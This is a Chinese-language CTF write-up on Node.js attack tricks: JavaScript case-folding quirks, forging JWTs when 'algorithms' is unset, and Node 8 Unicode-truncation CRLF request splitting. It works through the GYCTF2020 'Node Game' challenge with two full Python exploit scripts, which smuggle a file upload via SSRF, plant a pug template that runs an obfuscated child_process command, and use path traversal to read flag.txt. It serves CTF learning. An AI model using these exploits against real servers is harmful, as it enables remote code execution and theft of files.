js 大小写特性
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
参考p神文章:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
Nodejs jwt库
其实这不是jwt库本身的缺陷,只是开发者可能会疏忽的一个点吧,如果jwt验证不设置algorithms,即使加密设置了algorihm为HS256,验证方式依然为none,如下图
例如这里设置algorithm:HS256,实际上少个s,那么加密方式其实就是none,然后如果密钥为空或者undefined就能直接伪造jwt
修改的方法也就是将验证的参数设置为algorithms,如下,就不会通过验证
具体可以看这题ezlogin:
http://phoebe233.cn/index.php/archives/34/
Nodejs8 SSRF
Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符
如下:u0127是高编号的单引号,可以看到我们使用latin1编码后的解析变化,他将自动帮我们舍去01,保留27
在Nodejs8,通过这个特性编码一些特殊字符,传出HTTP请求的服务器都可能受到通过请求拆分实现的SSRF的攻击
以这道题为例,点都在题里2333
[GYCTF2020]Node Game
考点:Nodejs8漏洞,crlf
当时看都没看,现在跟着wp做了一遍感觉还好
源码主要有几个路由
1./
:接收action参数,过滤了/
,并且会将/template/"action".pug
这一文件进行pug渲染
2./file_upload
允许127.0.0.1文件上传,然后会将路径根据mimetype进行拼接: '/uploads/' + req.files[0].mimetype +'/';
结合上面的对/template/下的pug文件进行渲染,可以想到使用../
,如:
uploads/../template/+filename
这样就相当于传了一个文件到template下,然后进行包含,不过前提是要先SSRF
3./core
接受一个参数q,并对本地进行请求:url = 'http://localhost:8081/source?' + q
https://xz.aliyun.com/t/2894#toc-2
根据文章
Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符
如下:u0127是高编号的单引号,可以看到我们使用latin1编码后的解析变化,他将自动帮我们舍去01,保留27
不过只有Nodejs8版本才有这种特性,我们可以通过unicode高编码来编码一些特殊字符,然后注入
crlf,达到ssrf文件上传
然后下面就是如何构造http走私了,下面这个是rce的脚本(原文地址放到最后),由于有黑名单验证,可以拼接绕过,然后由于pug模板引擎,需要在前面加上-,来表示开始一段代码,然后记得抓包改一下boundary即可
import requests
payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Connection: keep-alive
{}""".replace('
', '
')
body = """
------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="flag.pug"
Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
""".replace('
', '
').replace('+', 'u012b')
payload = payload.format(len(body), body)
.replace(' ', 'u0120')
.replace('
', 'u010du010a')
.replace('"', 'u0122')
.replace("'", 'u0127')
.replace('[', 'u015b')
.replace(']', 'u015d')
.replace('(', 'u0128')
+ 'GET' + 'u0120' + '/'
print(requests.get('http://7d62c307-77f7-4d58-bbd8-e05c418e7da5.node3.buuoj.cn/core?q=' + payload).content)
例如我一开始的请求是这样:
GET /core?q=1 HTTP/1.1
host: xxx
Connection: close
经过构造后变成:
GET /core?q= HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: ...
Connection: keep-alive
---
文件上传表单
---
GET / HTTP/1.1
host: xxx
Connection: close
跑完脚本后访问?action=上传的文件名
同时可以看一下pug的文件包含怎么构造的:https://pugjs.org/zh-cn/language/includes.html
这个是赵总的文件包含脚本我稍微改了一下,能自动改content-length
import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: x
Connection: keep-alive
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive
{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="glzjin.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''
GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("
", "
")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://7d62c307-77f7-4d58-bbd8-e05c418e7da5.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.status_code)
reference:
https://xz.aliyun.com/t/2894#toc-2
http://iv4n.cc/2020-wp-vol1/
https://www.zhaoj.in/read-6462.html